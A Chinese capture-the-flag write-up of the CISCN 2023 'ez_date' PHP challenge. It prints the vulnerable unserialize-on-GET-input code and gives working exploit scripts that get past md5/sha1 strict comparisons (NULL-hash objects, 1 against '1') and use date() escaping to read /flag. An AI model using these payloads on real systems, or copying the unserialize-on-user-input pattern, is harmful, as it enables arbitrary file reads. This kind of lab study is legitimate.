0%

[CISCN 2023 华北]ez_date

[CISCN 2023 华北]ez_date

哈希函数与反序列化

[CISCN 2023 华北]ez_date | NSSCTF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}

unserialize(base64_decode($_GET['code']));

原题代码已经给出,我们可以看到,主要利用点就在于反序列化自动触发的wakeup函数

可以看到要满足判断

1
if(($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)))

上面过滤了数组强比较的方法,由于是反序列化,我们也可以使用构造类和利用字符串和数字哈希值相同的方法绕过

在php手册中,可以看到date()中的字符串参数有很多有特殊含义的字符,例如”l”代表星期,”Y”代表年份,”F”代表月份。可以用反斜杠

+字符来表示原字符。date("/f\l\a\g") => "/flag"

看一下这个正则表达式,用于去除$content中的空白字符,对我们构造的结果/flag应该是没有影响的

1
2
3
4
5
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
(\s)*: 匹配零个或者多个空白字符 空格 制表符 换页符
(\n)+: 匹配一个或多个换行符
/i : 匹配时不区分大小写
把上面匹配到的内容全部置换为空

构造类绕过哈希强类型比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class AnotherClass {
public $data;
public function __construct($data = 'default data') {
$this->data = $data;
}
public function getData() {
return $this->data;
}
}

class date{
public $a;
public $b;
public $file;
public function __construct() {

$this->a = new AnotherClass('initialized data');
$this->b = new AnotherClass('123data');
$this->file = "/f\l\a\g";
}
}

$obj = new date();
echo date("\/f\l\a\g"), "\n";
echo base64_encode(serialize($obj));
?>

这里和数组一样会返回NULL,也就是说if语句判断就变成了

1
if(NULL===NULL)   ->   return true;

之后就可以利用file_get_contents()函数读取/flag

字符串和数字绕过强类型比较

为了验证字符串和数字的哈希函数值相同,先构造代码测试一下

1
2
3
4
5
6
7
8
9
<?php
if(sha1(12) === sha1('12') && md5(1) === md5('1')){
echo("666");
}
else{
echo("777");
}
?>
//输出结果是666

说明数字12和字符串”12”的哈希值在php中是相同的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
}

$a = new date();
$a -> a = 1;
$a -> b = '1';
$a -> file = "/f\l\a\g";
echo(base64_encode(serialize(($a))))
?>

成功读取/flag